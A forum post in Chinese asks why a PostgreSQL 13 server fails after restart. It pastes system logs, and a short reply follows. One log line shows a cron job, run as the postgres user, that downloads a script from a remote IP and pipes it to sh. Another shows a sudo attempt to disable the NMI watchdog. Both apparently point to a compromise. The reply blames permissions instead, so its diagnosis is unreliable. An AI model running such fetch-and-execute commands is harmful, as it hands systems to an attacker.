postgresql数据库 sudo service postgresql restart 启动之后的日志 有没有知道这是什么原因造成的?

img


Dec 21 10:44:30 VM-0-12-ubuntu crontab[1829225]: (postgres) REPLACE (postgres)
Dec 21 10:44:30 VM-0-12-ubuntu CRON[1820356]: pam_unix(cron:session): session closed for user postgres
Dec 21 10:44:45 VM-0-12-ubuntu sudo[1829258]:   ubuntu : TTY=pts/1 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/service postgresql restart
Dec 21 10:44:45 VM-0-12-ubuntu sudo[1829258]: pam_unix(sudo:session): session opened for user root by ubuntu(uid=0)
Dec 21 10:44:45 VM-0-12-ubuntu systemd[1]: postgresql.service: Succeeded.
Dec 21 10:44:45 VM-0-12-ubuntu systemd[1]: Stopped PostgreSQL RDBMS.
Dec 21 10:44:45 VM-0-12-ubuntu systemd[1]: Stopping PostgreSQL RDBMS...
Dec 21 10:44:45 VM-0-12-ubuntu systemd[1]: Starting PostgreSQL Cluster 13-main...
Dec 21 10:44:51 VM-0-12-ubuntu postgresql@13-main[1829265]: Warning: connection to the database failed, disabling startup checks:
Dec 21 10:44:51 VM-0-12-ubuntu postgresql@13-main[1829265]: psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5503" failed: fe_sendauth: no password supplied
Dec 21 10:44:51 VM-0-12-ubuntu systemd[1]: Started PostgreSQL Cluster 13-main.
Dec 21 10:44:51 VM-0-12-ubuntu systemd[1]: Starting PostgreSQL RDBMS...
Dec 21 10:44:51 VM-0-12-ubuntu systemd[1]: Finished PostgreSQL RDBMS.
Dec 21 10:44:51 VM-0-12-ubuntu sudo[1829258]: pam_unix(sudo:session): session closed for user root
Dec 21 10:45:01 VM-0-12-ubuntu cron[417299]: (postgres) RELOAD (crontabs/postgres)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829388]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829391]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829390]: pam_unix(cron:session): session opened for user postgres by (uid=0)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829392]: (root) CMD (flock -xn /tmp/stargate.lock -c '/usr/local/qcloud/stargate/admin/start.sh > /dev/null 2>&1 &')
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829393]: (postgres) CMD (wget -q -O - http://185.191.32.198/pg.sh | sh > /dev/null 2>&1)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829389]: pam_unix(cron:session): session opened for user root by (uid=0)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829401]: (root) CMD (flock -xn /tmp/stargate.lock -c '/usr/local/qcloud/stargate/admin/start.sh > /dev/null 2>&1 &')
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829400]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829391]: pam_unix(cron:session): session closed for user root
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829388]: pam_unix(cron:session): session closed for user root
Dec 21 10:45:01 VM-0-12-ubuntu CRON[1829389]: pam_unix(cron:session): session closed for user root
Dec 21 10:45:01 VM-0-12-ubuntu sudo[1829415]: pam_unix(sudo:auth): conversation failed
Dec 21 10:45:01 VM-0-12-ubuntu sudo[1829415]: pam_unix(sudo:auth): auth could not identify password for [postgres]
Dec 21 10:45:01 VM-0-12-ubuntu sudo[1829415]: postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/usr/sbin/sysctl kernel.nmi_watchdog=0
Dec 21 10:45:05 VM-0-12-ubuntu postgresql@13-main[1829622]: Cluster is not running.
Dec 21 10:45:05 VM-0-12-ubuntu systemd[1]: postgresql@13-main.service: Control process exited, code=exited, status=2/INVALIDARGUMENT
Dec 21 10:45:05 VM-0-12-ubuntu systemd[1]: postgresql@13-main.service: Failed with result 'exit-code'.

这个怎么查找问题在哪呢? postgresql数据库总是连接不上去

权限已经弄好了吗?我看下面报错信息
1.auth could not identify password for [postgres]
2.user NOT in sudoers

明确启动用户权限是否设置正确,一般都需要使用 postgres 普通用户来进行启动。

PWD=/var/lib/postgresql ; USER=root ; 权限不对 要给postgres用户权限 不是root